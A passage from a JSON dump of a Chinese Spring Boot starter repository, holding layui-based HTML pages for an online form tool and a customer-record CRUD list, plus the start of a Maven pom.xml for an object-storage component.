});\n                \n                deleteData(ids);\n            });\n            \n            // 打开编辑表单\n            function openEditForm(data) {\n                if (!formConfig || !formConfig.formFields) return;\n                \n                var html = '';\n                \n                $.each(formConfig.formFields, function(index, field) {\n                    var inputHtml = '';\n                    switch (field.formInput) {\n                        case 'text':\n                        case 'input':\n                            inputHtml = '<input type=\"text\" name=\"' + field.name + '\" value=\"' + (data ? (data[field.name] || '') : (field.formDefault || '')) + '\" placeholder=\"请输入' + field.comments + '\" autocomplete=\"off\" class=\"layui-input\">';\n                            break;\n                        case 'select':\n                            inputHtml = '<select name=\"' + field.name + '\"><option value=\"\">请选择' + field.comments + '</option>';\n                            if (field.dictOptions) {\n                                $.each(field.dictOptions, function(key, value) {\n                                    var selected = data && data[field.name] === key ? 'selected' : '';\n                                    inputHtml += '<option value=\"' + key + '\" ' + selected + '>' + value + '</option>';\n                                });\n                            }\n                            inputHtml += '</select>';\n                            break;\n                        case 'checkbox':\n                            inputHtml = '';\n                            if (field.dictOptions) {\n                                var checkedValues = data && data[field.name] ? (Array.isArray(data[field.name]) ? data[field.name] : [data[field.name]]) : [];\n                                $.each(field.dictOptions, function(key, value) {\n                                    var checked = checkedValues.indexOf(key) !== -1 ? 'checked' : '';\n                                    inputHtml += '<input type=\"checkbox\" name=\"' + field.name + '\" title=\"' + value + '\" value=\"' + key + '\" ' + checked + '>';\n                                });\n                            }\n                            break;\n                        case 'radio':\n                            inputHtml = '';\n                            if (field.dictOptions) {\n                                var checkedValue = data && data[field.name] ? data[field.name] : '';\n                                $.each(field.dictOptions, function(key, value) {\n                                    var checked = checkedValue === key ? 'checked' : '';\n                                    inputHtml += '<input type=\"radio\" name=\"' + field.name + '\" title=\"' + value + '\" value=\"' + key + '\" ' + checked + '>';\n                                });\n                            }\n                            break;\n                        default:\n                            inputHtml = '<input type=\"text\" name=\"' + field.name + '\" value=\"' + (data ? (data[field.name] || '') : (field.formDefault || '')) + '\" placeholder=\"请输入' + field.comments + '\" autocomplete=\"off\" class=\"layui-input\">';\n                    }\n                    \n                    var required = field.formRequired ? 'lay-verify=\"required\"' : '';\n                    \n                    html += '<div class=\"layui-form-item\">\\n' +\n                        '    <label class=\"layui-form-label\">' + field.comments + (field.formRequired ? ' <span style=\"color:red\">*</span>' : '') + '</label>\\n' +\n                        '    <div class=\"layui-input-block\">\\n' +\n                        '        ' + inputHtml + '\\n' +\n                        '    </div>\\n' +\n                        '</div>';\n                });\n                \n                // 添加隐藏字段存储ID（编辑时）\n                if (data && data.id) {\n                    html += '<input type=\"hidden\" name=\"id\" value=\"' + data.id + '\">';\n                }\n                \n                $('#editForm').html(html);\n                form.render();\n                \n                layer.open({\n                    type: 1,\n                    title: data ? '编辑数据' : '添加数据',\n                    content: $('#editFormDiv'),\n                    area: ['600px', 'auto'],\n                    btn: ['保存', '取消'],\n                    yes: function(index, layero) {\n                        form.on('submit(submitForm)', function(data) {\n                            saveData(data.field, function() {\n                                layer.close(index);\n                                if (dataTable) {\n                                    dataTable.reload();\n                                }\n                            });\n                            return false;\n                        });\n                        $('#editForm').submit();\n                    }\n                });\n            }\n            \n            // 保存数据\n            function saveData(params, callback) {\n                var url = '/sys/online/form/' + tableId;\n                var method = params.id ? 'PUT' : 'POST';\n                \n                $.ajax({\n                    url: url,\n                    type: method,\n                    data: JSON.stringify(params),\n                    contentType: 'application/json',\n                    success: function(res) {\n                        if (res.code === 0) {\n                            layer.msg(params.id ? '更新成功' : '添加成功', {icon: 6});\n                            if (callback) callback();\n                        } else {\n                            layer.msg('操作失败：' + res.msg, {icon: 5});\n                        }\n                    },\n                    error: function() {\n                        layer.msg('网络错误，请检查接口连接', {icon: 5});\n                    }\n                });\n            }\n            \n            // 删除数据\n            function deleteData(ids) {\n                layer.confirm('确定要删除选中的数据吗？', {\n                    icon: 3,\n                    title: '确认删除'\n                }, function(index) {\n                    $.ajax({\n                        url: '/sys/online/form/' + tableId,\n                        type: 'DELETE',\n                        data: JSON.stringify(ids),\n                        contentType: 'application/json',\n                        success: function(res) {\n                            if (res.code === 0) {\n                                layer.msg('删除成功', {icon: 6});\n                                if (dataTable) {\n                                    dataTable.reload();\n                                }\n                            } else {\n                                layer.msg('删除失败：' + res.msg, {icon: 5});\n                            }\n                        },\n                        error: function() {\n                            layer.msg('网络错误，请检查接口连接', {icon: 5});\n                        }\n                    });\n                    layer.close(index);\n                });\n            }\n            \n            // 返回按钮事件\n            $('#backBtn').click(function() {\n                window.location.href = 'index.html';\n            });\n            \n            // 初始加载\n            loadFormConfig();\n            \n            // 监听表单提交事件\n            form.on('submit(submitForm)', function(data) {\n                saveData(data.field, function() {\n                    layer.closeAll('page');\n                    if (dataTable) {\n                        dataTable.reload();\n                    }\n                });\n                return false;\n            });\n        });\n    </script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/static/online/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>在线表单开发工具</title>\n    <!-- 引入layui CSS -->\n    <link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/layui@2.6.8/dist/css/layui.css\">\n    <style>\n        body {\n            margin: 20px;\n            background-color: #f2f2f2;\n        }\n        .container {\n            max-width: 1200px;\n            margin: 0 auto;\n            background-color: #fff;\n            padding: 20px;\n            border-radius: 5px;\n            box-shadow: 0 1px 10px rgba(0, 0, 0, 0.1);\n        }\n        .title {\n            text-align: center;\n            margin-bottom: 30px;\n            font-size: 24px;\n            color: #333;\n        }\n        .btn-group {\n            display: flex;\n            justify-content: center;\n            margin-bottom: 30px;\n        }\n        .btn-group .layui-btn {\n            margin: 0 10px;\n        }\n        .table-list {\n            margin-top: 20px;\n        }\n        .table-item {\n            padding: 15px;\n            margin-bottom: 10px;\n            background-color: #f9f9f9;\n            border-radius: 5px;\n            cursor: pointer;\n            transition: all 0.3s;\n        }\n        .table-item:hover {\n            background-color: #f0f0f0;\n            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);\n        }\n        .table-name {\n            font-size: 16px;\n            font-weight: bold;\n            color: #333;\n        }\n        .table-desc {\n            font-size: 14px;\n            color: #666;\n            margin-top: 5px;\n        }\n        .empty-tip {\n            text-align: center;\n            padding: 50px;\n            color: #999;\n        }\n    </style>\n</head>\n<body>\n    <div class=\"container\">\n        <h1 class=\"title\">在线表单开发工具</h1>\n        \n        <div class=\"btn-group\">\n            <button class=\"layui-btn layui-btn-primary\" id=\"refreshBtn\">刷新列表</button>\n            <button class=\"layui-btn layui-btn-warm\" id=\"createTableBtn\">创建数据表</button>\n        </div>\n        \n        <div class=\"table-list\" id=\"tableList\">\n            <div class=\"empty-tip\">正在加载数据表...</div>\n        </div>\n    </div>\n    \n    <!-- 引入jQuery -->\n    <script src=\"https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js\"></script>\n    <!-- 引入layui JS -->\n    <script src=\"https://cdn.jsdelivr.net/npm/layui@2.6.8/dist/layui.js\"></script>\n    \n    <script>\n        layui.use(['layer', 'table'], function() {\n            var layer = layui.layer;\n            var table = layui.table;\n            \n            // 加载数据表列表\n            function loadTableList() {\n                $.ajax({\n                    url: '/sys/online/table/page',\n                    type: 'POST',\n                    data: JSON.stringify({page: 1, limit: 100}),\n                    contentType: 'application/json',\n                    success: function(res) {\n                        if (res.code === 0 && res.data && res.data.list) {\n                            var tableList = res.data.list;\n                            var html = '';\n                            \n                            if (tableList.length > 0) {\n                                $.each(tableList, function(index, item) {\n                                    html += '<div class=\"table-item\" data-id=\"' + item.id + '\">\n                                                <div class=\"table-name\">' + (item.name || '未命名表') + '</div>\n                                                <div class=\"table-desc\">' + (item.comments || '无描述') + '</div>\n                                             </div>';\n                                });\n                            } else {\n                                html = '<div class=\"empty-tip\">暂无数据表，请创建</div>';\n                            }\n                            \n                            $('#tableList').html(html);\n                            \n                            // 绑定点击事件\n                            $('.table-item').click(function() {\n                                var tableId = $(this).attr('data-id');\n                                window.location.href = 'form.html?tableId=' + tableId;\n                            });\n                        } else {\n                            layer.msg('加载数据表失败：' + res.msg, {icon: 5});\n                            $('#tableList').html('<div class=\"empty-tip\">加载失败，请重试</div>');\n                        }\n                    },\n                    error: function() {\n                        layer.msg('网络错误，请检查接口连接', {icon: 5});\n                        $('#tableList').html('<div class=\"empty-tip\">加载失败，请检查网络连接</div>');\n                    }\n                });\n            }\n            \n            // 刷新按钮事件\n            $('#refreshBtn').click(function() {\n                loadTableList();\n            });\n            \n            // 创建数据表按钮事件\n            $('#createTableBtn').click(function() {\n                layer.alert('创建数据表功能开发中...', {icon: 6});\n            });\n            \n            // 初始加载\n            loadTableList();\n        });\n    </script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/static/online/test.html",
    "content": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>在线表单测试页面</title>\n    <link rel=\"stylesheet\" href=\"../layui/css/layui.css\">\n    <script src=\"../layui/layui.js\"></script>\n    <script src=\"https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js\"></script>\n</head>\n<body class=\"layui-layout-body\">\n    <div class=\"layui-layout layui-layout-admin\">\n        <div class=\"layui-header\">\n            <div class=\"layui-logo\">在线表单测试</div>\n        </div>\n        <div class=\"layui-body\">\n            <div class=\"layui-container\">\n                <div class=\"layui-card\">\n                    <div class=\"layui-card-header\">表单配置测试</div>\n                    <div class=\"layui-card-body\">\n                        <div class=\"layui-form\">\n                            <div class=\"layui-form-item\">\n                                <label class=\"layui-form-label\">表名</label>\n                                <div class=\"layui-input-block\">\n                                    <input type=\"text\" id=\"tableName\" name=\"tableName\" value=\"biz_test_online_form\" placeholder=\"请输入表名\" class=\"layui-input\">\n                                </div>\n                            </div>\n                            <div class=\"layui-form-item\">\n                                <div class=\"layui-input-block\">\n                                    <button class=\"layui-btn\" id=\"loadConfigBtn\">加载配置</button>\n                                </div>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n                \n                <div class=\"layui-card\" id=\"configResult\" style=\"display: none;\">\n                    <div class=\"layui-card-header\">配置结果</div>\n                    <div class=\"layui-card-body\">\n                        <div class=\"layui-tab\">\n                            <ul class=\"layui-tab-title\">\n                                <li class=\"layui-this\">JSON数据</li>\n                                <li>渲染表单</li>\n                                <li>渲染表格</li>\n                            </ul>\n                            <div class=\"layui-tab-content\">\n                                <div class=\"layui-tab-item layui-show\">\n                                    <pre id=\"jsonContent\" style=\"max-height: 400px; overflow-y: auto;\"></pre>\n                                </div>\n                                <div class=\"layui-tab-item\">\n                                    <div id=\"formContainer\" class=\"layui-form\"></div>\n                                </div>\n                                <div class=\"layui-tab-item\">\n                                    <table id=\"dataTable\" class=\"layui-table\"></table>\n                                </div>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    <script>\n        layui.use(['form', 'element', 'table'], function() {\n            var form = layui.form;\n            var element = layui.element;\n            var table = layui.table;\n            var $ = layui.jquery;\n            \n            // 加载配置按钮点击事件\n            $('#loadConfigBtn').on('click', function() {\n                var tableName = $('#tableName').val();\n                if (!tableName) {\n                    layer.msg('请输入表名', {icon: 2});\n                    return;\n                }\n                \n                // 显示加载中\n                layer.load();\n                \n                // 调用后端接口获取配置\n                $.ajax({\n                    url: '/sys/online/form/getJSON',\n                    type: 'get',\n                    data: {tableName: tableName},\n                    success: function(res) {\n                        // 隐藏加载中\n                        layer.closeAll('loading');\n                        \n                        if (res.code === 0 && res.data) {\n                            // 显示配置结果\n                            $('#configResult').show();\n                            \n                            // 格式化显示JSON数据\n                            $('#jsonContent').text(JSON.stringify(res.data, null, 2));\n                            \n                            // 渲染表单\n                            renderForm(res.data.form);\n                            \n                            // 渲染表格\n                            renderTable(res.data.table);\n                        } else {\n                            layer.msg(res.msg || '获取配置失败', {icon: 2});\n                        }\n                    },\n                    error: function() {\n                        layer.closeAll('loading');\n                        layer.msg('请求失败，请检查网络连接', {icon: 2});\n                    }\n                });\n            });\n            \n            // 渲染表单函数\n            function renderForm(formConfig) {\n                if (!formConfig || !formConfig.list || formConfig.list.length === 0) {\n                    $('#formContainer').html('<div class=\"layui-text\">暂无表单配置</div>');\n                    return;\n                }\n                \n                var formHtml = '';\n                \n                // 根据配置设置表单属性\n                if (formConfig.config) {\n                    var config = formConfig.config;\n                    if (config.size) {\n                        $('#formContainer').addClass('layui-form-' + config.size);\n                    }\n                    if (config.labelPosition) {\n                        $('#formContainer').attr('lay-filter', 'test-form');\n                    }\n                }\n                \n                // 遍历组件列表生成表单HTML\n                formConfig.list.forEach(function(component) {\n                    if (!component.field) return;\n                    \n                    var field = component.field;\n                    var title = component.title || field;\n                    var type = component.type || 'text';\n                    var required = component.required ? 'lay-verify=\"required\"' : '';\n                    var placeholder = component.placeholder || '请输入' + title;\n                    \n                    formHtml += '<div class=\"layui-form-item\">';\n                    formHtml += '    <label class=\"layui-form-label\">' + title + (component.required ? '<span class=\"layui-form-must\">*</span>' : '') + '</label>';\n                    formHtml += '    <div class=\"layui-input-block\">';\n                    \n                    // 根据组件类型生成不同的表单控件\n                    switch (type) {\n                        case 'text':\n                        case 'number':\n                        case 'password':\n                            formHtml += '        <input type=\"' + type + '\" name=\"' + field + '\" lay-verify=\"' + (component.required ? 'required|' : '') + '\" placeholder=\"' + placeholder + '\" autocomplete=\"off\" class=\"layui-input\">';\n                            break;\n                        case 'textarea':\n                            formHtml += '        <textarea name=\"' + field + '\" lay-verify=\"' + (component.required ? 'required|' : '') + '\" placeholder=\"' + placeholder + '\" class=\"layui-textarea\"></textarea>';\n                            break;\n                        case 'select':\n                            formHtml += '        <select name=\"' + field + '\" lay-verify=\"' + (component.required ? 'required|' : '') + '\" lay-search>';\n                            formHtml += '            <option value=\"\">请选择' + title + '</option>';\n                            if (component.options && component.options.length > 0) {\n                                component.options.forEach(function(option) {\n                                    formHtml += '            <option value=\"' + option.value + '\">' + option.label + '</option>';\n                                });\n                            }\n                            formHtml += '        </select>';\n                            break;\n                        case 'radio':\n                            if (component.options && component.options.length > 0) {\n                                component.options.forEach(function(option, index) {\n                                    formHtml += '        <input type=\"radio\" name=\"' + field + '\" value=\"' + option.value + '\" title=\"' + option.label + '\"' + (index === 0 ? ' checked' : '') + '>';\n                                });\n                            }\n                            break;\n                        case 'checkbox':\n                            if (component.options && component.options.length > 0) {\n                                component.options.forEach(function(option) {\n                                    formHtml += '        <input type=\"checkbox\" name=\"' + field + '\" title=\"' + option.label + '\" value=\"' + option.value + '\">';\n                                });\n                            }\n                            break;\n                        default:\n                            formHtml += '        <input type=\"text\" name=\"' + field + '\" lay-verify=\"' + (component.required ? 'required|' : '') + '\" placeholder=\"' + placeholder + '\" autocomplete=\"off\" class=\"layui-input\">';\n                    }\n                    \n                    formHtml += '    </div>';\n                    formHtml += '</div>';\n                });\n                \n                // 添加提交按钮\n                formHtml += '<div class=\"layui-form-item\">';\n                formHtml += '    <div class=\"layui-input-block\">';\n                formHtml += '        <button class=\"layui-btn\" lay-submit lay-filter=\"formSubmit\">提交</button>';\n                formHtml += '        <button type=\"reset\" class=\"layui-btn layui-btn-primary\">重置</button>';\n                formHtml += '    </div>';\n                formHtml += '</div>';\n                \n                // 更新表单内容\n                $('#formContainer').html(formHtml);\n                \n                // 重新渲染表单\n                form.render();\n                \n                // 添加表单提交事件\n                form.on('submit(formSubmit)', function(data) {\n                    layer.msg('表单数据：' + JSON.stringify(data.field));\n                    return false;\n                });\n            }\n            \n            // 渲染表格函数\n            function renderTable(tableConfig) {\n                if (!tableConfig || tableConfig.length === 0) {\n                    $('#dataTable').html('<div class=\"layui-text\">暂无表格配置</div>');\n                    return;\n                }\n                \n                // 准备表格列配置\n                var cols = [[\n                    {type: 'checkbox', fixed: 'left'},\n                    {field: 'id', title: 'ID', width: 80, fixed: 'left', sort: true}\n                ]];\n                \n                // 添加配置的列\n                tableConfig.forEach(function(column) {\n                    var col = {\n                        field: column.field,\n                        title: column.title || column.field,\n                        width: column.width || 150,\n                        sort: column.sort === true\n                    };\n                    \n                    // 如果有字典配置，添加templet\n                    if (column.dictType) {\n                        col.templet = function(d) {\n                            var value = d[column.field];\n                            // 这里可以根据实际情况从字典中获取显示值\n                            return value || '';\n                        };\n                    }\n                    \n                    cols[0].push(col);\n                });\n                \n                // 添加操作列\n                cols[0].push({\n                    fixed: 'right',\n                    title: '操作',\n                    width: 150,\n                    toolbar: '#tableBar'\n                });\n                \n                // 渲染表格\n                table.render({\n                    elem: '#dataTable',\n                    height: 400,\n                    url: '/sys/online/form/page', // 实际项目中替换为真实的数据源\n                    where: {\n                        tableName: $('#tableName').val()\n                    },\n                    page: true,\n                    cols: cols,\n                    parseData: function(res) {\n                        // 模拟数据，实际项目中应该根据后端返回的数据结构进行调整\n                        return {\n                            \"code\": 0,\n                            \"msg\": \"\",\n                            \"count\": 100,\n                            \"data\": []\n                        };\n                    }\n                });\n                \n                // 添加表格工具栏模板\n                if ($('#tableBar').length === 0) {\n                    $('body').append('<script type=\"text/html\" id=\"tableBar\">\\n' +\n                        '  <a class=\"layui-btn layui-btn-xs\" lay-event=\"edit\">编辑</a>\\n' +\n                        '  <a class=\"layui-btn layui-btn-danger layui-btn-xs\" lay-event=\"del\">删除</a>\\n' +\n                        '</script>');\n                }\n            }\n        });\n    </script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/templates/biztest/list.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:shiro=\"http://www.pollix.at/thymeleaf/shiro\"\n      xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n  <meta charset=\"UTF-8\">\n  <title>Title</title>\n  <link rel=\"stylesheet\" href=\"/layui/css/layui.css\">\n  <link rel=\"stylesheet\" href=\"/css/custom.form.css\">\n</head>\n<body>\n<div class=\"panel panel-default operation\" hidden>\n  <div class=\"panel-heading title\"></div>\n<div class=\"layui-card-body\">\n<form class=\"layui-form \" action=\"\" lay-filter=\"info\" style=\"width: 700px;margin-top: 10px\">\n      <input name=\"id\" hidden/>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户名称</label>\n      <div class=\"layui-input-block\">\n        <input type=\"cusname\" name=\"cusname\" placeholder=\"请输入客户名称\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">注册金额</label>\n      <div class=\"layui-input-block\">\n        <input type=\"money\" name=\"money\" placeholder=\"请输入注册金额\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户描述</label>\n      <div class=\"layui-input-block\">\n        <input type=\"cusdesc\" name=\"cusdesc\" placeholder=\"请输入客户描述\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户全称</label>\n      <div class=\"layui-input-block\">\n        <input type=\"fullname\" name=\"fullname\" placeholder=\"请输入客户全称\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户性质</label>\n      <div class=\"layui-input-block\">\n        <input type=\"dictCussex\" name=\"dictCussex\" placeholder=\"请输入客户性质\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">注册时间</label>\n      <div class=\"layui-input-block\">\n        <input type=\"registerDate\" name=\"registerDate\" placeholder=\"请输入注册时间\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户类型</label>\n      <div class=\"layui-input-block\">\n        <input type=\"dictCustype\" name=\"dictCustype\" placeholder=\"请输入客户类型\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\"></label>\n      <div class=\"layui-input-block\">\n        <input type=\"refId\" name=\"refId\" placeholder=\"请输入\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">关联子客户名称</label>\n      <div class=\"layui-input-block\">\n        <input type=\"refTitleUsername\" name=\"refTitleUsername\" placeholder=\"请输入关联子客户名称\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">备注</label>\n      <div class=\"layui-input-block\">\n        <input type=\"remark\" name=\"remark\" placeholder=\"请输入备注\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n  <div class=\"layui-form-item\">\n  <div class=\"layui-input-block\">\n    <button type=\"submit\" class=\"layui-btn\" lay-submit=\"\" lay-filter=\"submit\">保存</button>\n    <button  class=\"layui-btn layui-btn-primary\" id=\"btn_cancel\">返回</button>\n  </div>\n</div>\n</form>\n</div>\n</div>\n\n<div class=\"table_div\">\n  <div id=\"searchParam\"  shiro:hasPermission=\"bizTest:list\">\n    <div class=\"layui-form-item\">\n      <div class=\"layui-input-inline\">\n        <input type=\"text\" id=\"key\" class=\"layui-input\"  autocomplete=\"off\" placeholder=\"请输入\">\n      </div>\n\n      <div class=\"layui-input-inline \">\n        <button class=\"layui-btn\" onclick=\"search()\"  id=\"search\">查询</button>\n        <button class=\"layui-btn\"   id=\"export\">导出全部</button>\n      </div>\n    </div>\n\n  </div>\n  <table class=\"layui-table\" id=\"showTable\" lay-filter=\"showTable\" ></table>\n</div>\n<script type=\"text/html\" id=\"toolbar\">\n  <div class=\"layui-btn-container\">\n    <button class=\"layui-btn layui-btn-sm\" lay-event=\"add\"  shiro:hasPermission=\"bizTest:add\">添加</button>\n    <button class=\"layui-btn layui-btn-sm  layui-btn-danger \" lay-event=\"batchDeleted\" shiro:hasPermission=\"bizTest:delete\">删除</button>\n  </div>\n</script>\n<script type=\"text/html\" id=\"tool\">\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"edit\" shiro:hasPermission=\"bizTest:update\">编辑</a>\n  <a class=\"layui-btn layui-btn-danger layui-btn-xs\" lay-event=\"del\" shiro:hasPermission=\"bizTest:delete\">删除</a>\n</script>\n\n</body>\n</html>\n<script src=\"/layui/layui.all.js\"></script>\n<script src=\"/js/core.util.js\"></script>\n<script>\n  //获取token\n  var token = CoreUtil.getData(\"access_token\");\n  //地址栏转义token中的#号\n  var tokenQuery = token.replace(\"#\", \"%23\");\n  var tableIns1;\n  var table = layui.table;\n  var form = layui.form;\n  var layer = layui.layer;\n  var $ = jQuery = layui.jquery;\n  var laydate = layui.laydate;\n\n  layui.use(['table', 'layer', 'laydate'], function () {\n\n    //加载table\n    tableIns1 = table.render({\n      elem: '#showTable'\n      , contentType: 'application/json'\n      , headers: {\"authorization\": token}\n      , page: true //开启分页\n      , url: '/bizTest/listByPage' //数据接口\n      , method: 'POST'\n      , parseData: function (res) { //将原始数据解析成 table 组件所规定的数据\n        return {\n          \"code\": res.code, //解析接口状态\n          \"msg\": res.msg, //解析提示文本\n          \"count\": CoreUtil.isEmpty(res.data) ? 0 : res.data.total, //解析数据长度\n          \"data\": CoreUtil.isEmpty(res.data) ? null : res.data.records //解析数据列表\n        }\n      }\n      , cols: [\n        [\n          {type: 'checkbox', fixed: 'left'},\n          {field: 'id', title: '', sort: true},\n          {field: 'cusname', title: '客户名称', sort: true},\n          {field: 'money', title: '注册金额', sort: true},\n          {field: 'cusdesc', title: '客户描述', sort: true},\n          {field: 'fullname', title: '客户全称', sort: true},\n          {field: 'dictCussex', title: '客户性质', sort: true},\n          {field: 'registerDate', title: '注册时间', sort: true},\n          {field: 'dictCustype', title: '客户类型', sort: true},\n          {field: 'refId', title: '', sort: true},\n          {field: 'refTitleUsername', title: '关联子客户名称', sort: true},\n          {field: 'remark', title: '备注', sort: true},\n          {width: 120, toolbar: \"#tool\", title: '操作'}\n        ]\n      ]\n      , toolbar: '#toolbar'\n    });\n\n\n    //表头工具\n    table.on('toolbar(showTable)', function(obj){\n      switch(obj.event){\n        case 'batchDeleted':\n          var checkStatus = table.checkStatus(obj.config.id);\n          var data = checkStatus.data;\n          if(data.length==0){\n            layer.msg(\"请选择要批量删除的列\");\n          }else {\n            var ids = [];\n            $(data).each(function (index,item) {\n              ids.push(item.id);\n            });\n            tipDialog(ids);\n          }\n          break;\n        case 'add':\n          $(\".table_div\").hide();\n          $(\".operation\").show();\n          $(\".title\").html(\"新增\");\n          $(\".operation input[name=id]\").val(\"\");\n          $(\".operation input[name=cusname]\").val(\"\");\n          $(\".operation input[name=money]\").val(\"\");\n          $(\".operation input[name=cusdesc]\").val(\"\");\n          $(\".operation input[name=fullname]\").val(\"\");\n          $(\".operation input[name=dictCussex]\").val(\"\");\n          $(\".operation input[name=registerDate]\").val(\"\");\n          $(\".operation input[name=dictCustype]\").val(\"\");\n          $(\".operation input[name=refId]\").val(\"\");\n          $(\".operation input[name=refTitleUsername]\").val(\"\");\n          $(\".operation input[name=remark]\").val(\"\");\n          break;\n      };\n    });\n    //列操作\n    table.on('tool(showTable)',function (obj) {\n      var data = obj.data;\n      switch (obj.event) {\n        case 'del':\n          var ids=[];\n          ids.push(data.id);\n          tipDialog(ids);\n          break;\n        case 'edit':\n          $(\".table_div\").hide();\n          $(\".operation\").show();\n          $(\".title\").html(\"编辑\");\n          $(\".operation input[name=id]\").val(data.id);\n          $(\".operation input[name=cusname]\").val(data.cusname);\n          $(\".operation input[name=money]\").val(data.money);\n          $(\".operation input[name=cusdesc]\").val(data.cusdesc);\n          $(\".operation input[name=fullname]\").val(data.fullname);\n          $(\".operation input[name=dictCussex]\").val(data.dictCussex);\n          $(\".operation input[name=registerDate]\").val(data.registerDate);\n          $(\".operation input[name=dictCustype]\").val(data.dictCustype);\n          $(\".operation input[name=refId]\").val(data.refId);\n          $(\".operation input[name=refTitleUsername]\").val(data.refTitleUsername);\n          $(\".operation input[name=remark]\").val(data.remark);\n          break;\n      }\n    });\n\n    //导出\n    $('#export').on('click', function () {\n      //原先分页limit\n      var exportParams = {\n        limit: 10000,\n        key: $(\"#key\").val()\n      };\n      CoreUtil.sendPost(\"/bizTest/listByPage\", exportParams, function (res) {\n        //初始化渲染数据\n        if (res.data != null && res.data.records != null) {\n          table.exportFile(tableIns1.config.id, res.data.records, 'xls');\n        }\n      });\n    });\n\n    //删除\n    var tipDialog=function (ids) {\n      layer.open({\n          skin: 'layui-layer-admin',\n        content: \"确定要删除么?\",\n        yes: function(index, layero){\n          layer.close(index); //如果设定了yes回调，需进行手工关闭\n          CoreUtil.sendDelete(\"/bizTest/delete\",ids,function (res) {\n            layer.msg(res.msg, {time:1000},function () {\n              search();\n            });\n          });\n        }\n      });\n    };\n\n    //返回\n    $(\"#btn_cancel\").click(function() {\n      $(\".table_div\").show();\n      $(\".operation\").hide();\n      return false;\n    });\n\n    //监听保存\n    form.on('submit(submit)', function(data){\n      if(data.field.id===undefined || data.field.id===null || data.field.id===\"\"){\n        CoreUtil.sendPost(\"/bizTest/add\",data.field,function (res) {\n          $(\".table_div\").show();\n          $(\".operation\").hide();\n          search();\n        });\n      }else {\n        CoreUtil.sendPut(\"/bizTest/update\",data.field,function (res) {\n          $(\".table_div\").show();\n          $(\".operation\").hide();\n          search();\n        });\n      }\n\n      return false;\n    });\n  });\n\n  //执行查询\n  function search() {\n    //这里以搜索为例\n    tableIns1.reload({\n      where: { //设定异步数据接口的额外参数，任意设\n        key: $(\"#key\").val()\n      }\n      , page: {\n        curr: 1 //重新从第 1 页开始\n      }\n    });\n  };\n</script>"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-oss-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <description>对象存储通用组件</description>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <mybatis-plus.version>3.5.7</mybatis-plus.version>\n        <mica-auto.version>2.3.2</mica-auto.version>\n    </properties>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n    <dependencies>\n        <!-- fastDFS -->\n        <dependency>\n            <groupId>com.github.tobato</groupId>\n            <artifactId>fastdfs-client</artifactId>\n            <optional>true</optional>\n        